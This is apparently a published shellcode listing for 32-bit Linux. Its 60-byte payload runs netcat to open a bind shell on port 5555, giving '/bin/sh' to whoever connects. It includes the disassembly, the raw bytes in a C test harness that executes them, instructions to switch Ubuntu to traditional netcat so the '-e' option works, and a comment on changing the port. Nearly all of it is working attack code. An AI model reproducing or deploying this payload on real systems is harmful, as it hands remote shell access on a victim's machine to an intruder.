linux/x86 - Netcat BindShell Port 5555 - 60 bytes

#Greetz : Bomberman(Leader)
#Author : B3mB4m
#Concat : Do not disturb - Bomberman
 
 
#Netcat openbsd version (which is default installed in ubuntu) have
not "-e" option.
#So if you are trying to test on ubuntu(like me) you must change
version to traditional.
 
#Typing this:
    #1) sudo update-alternatives --config nc
    #2) Select the option /bin/nc.traditional
 
 
Disassembly of section .text:
 
08048060 <.text>:
 8048060:   31 c0                   xor    %eax,%eax
 8048062:   50                      push   %eax
 8048063:   68 6e 2f 6e 63          push   $0x636e2f6e
 8048068:   68 2f 2f 62 69          push   $0x69622f2f
 804806d:   89 e3                   mov    %esp,%ebx
 804806f:   50                      push   %eax
 8048070:   68 35 35 35 35          push   $0x35353535      #PORT
 8048075:   68 2d 6c 74 70          push   $0x70746c2d
 804807a:   89 e1                   mov    %esp,%ecx
 804807c:   50                      push   %eax
 804807d:   68 2f 2f 73 68          push   $0x68732f2f
 8048082:   68 2f 62 69 6e          push   $0x6e69622f
 8048087:   68 2d 65 2f 2f          push   $0x2f2f652d
 804808c:   89 e2                   mov    %esp,%edx
 804808e:   50                      push   %eax
 804808f:   52                      push   %edx
 8048090:   51                      push   %ecx
 8048091:   53                      push   %ebx
 8048092:   89 e7                   mov    %esp,%edi
 8048094:   b0 0b                   mov    $0xb,%al
 8048096:   89 f9                   mov    %edi,%ecx
 8048098:   31 d2                   xor    %edx,%edx
 804809a:   cd 80                   int    $0x80
 
#include <stdio.h>
#include <string.h>
 
char *loveme = "\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x35\x35\x35"
                "\x35\x68\x2d\x6c\x74\x70\x89\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68"
                "\x2d\x65\x2f\x2f\x89\xe2\x50\x52\x51\x53\x89\xe7\xb0\x0b\x89\xf9\x31\xd2\xcd\x80";
 
// "\x68-----\x35\x35\x35\x35\-------x68\"  There port change however you like.
 
int main(void){
    fprintf(stdout,"Length: %d\n",strlen(loveme));
    (*(void(*)()) loveme)();}